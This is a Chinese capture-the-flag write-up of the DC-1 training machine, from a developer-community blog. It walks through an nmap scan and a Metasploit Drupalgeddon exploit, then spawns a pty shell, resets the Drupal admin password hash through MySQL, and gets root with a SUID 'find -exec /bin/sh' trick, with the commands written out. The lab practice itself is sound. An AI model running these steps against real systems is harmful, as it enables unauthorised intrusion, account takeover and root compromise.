前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >靶机渗透DC-1

靶机渗透DC-1

原创
作者头像
HipHip
修改2020-04-14 17:18:13
6250
修改2020-04-14 17:18:13
举报
文章被收录于专栏:靶机渗透

扫描靶机IP

001
001

然后nmap一波。

002
002

开放了80端口,访问。

首次访问需要把IP放到hosts中。

cd /etc

find . -name "host*"

vim ./hosts

003
003

网站是Drupal服务,上神器msf。

004
004

七个可用模块。

使用exploit/multi/http/drupal_drupageddon

005
005

设置好options启动攻击

006
006

弹回了meterpreter

收集主机信息

006
006

进入shell

ls一下,发现flag1

007
007
008
008

看下权限,发现不是root,需要提权。

009
009

根据flag信息,查看配置。

sites/default/settings.php中

010
010

看到了flag2.txt和数据库信息。

代码语言:javascript
复制
直接mysql -udbuser -p,但是不能进入mysql命令行。

011
011
012
012

查看到了python版本信息。使用python进入交互shell。

代码语言:javascript
复制
python -c "import pty;pty.spawn('/bin/bash')"

013
013

再使用

代码语言:javascript
复制
mysql -udbuser -p

成功进入mysql命令行

014
014

在users表里发现两个用户。

015
015

但是密码被加密了。

用重置密码。

使用drupal自带的hash加密

代码语言:javascript
复制
php scripts/password-hash.sh drupall > pwd.txt

016
016

再次进入mysql,对密码进行重置。

代码语言:javascript
复制
update users set pass = '$S$DDuvmUjUDJkHrjjOarywjMVR0Ne/osYlPfLPtWH1bRMbHbZyADey' where name = 'admin';

017
017

到网站上,用账号密码登陆。

018
018

成功登陆。

找到了flag3

019
019

在目录里查找到flag4

020
020

根据提示,要进入root目录。但是发现被拒绝。

021
021

查找系统上运行的所有suid可执行文件

代码语言:javascript
复制
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

022
022

再查找。

代码语言:javascript
复制
find ./ aaa -exec '/bin/sh' \;

023
023

成功提权为root。

再进入root目录,成功进入,并找到finalflag。

024
024

要点

suid提权

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 要点
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档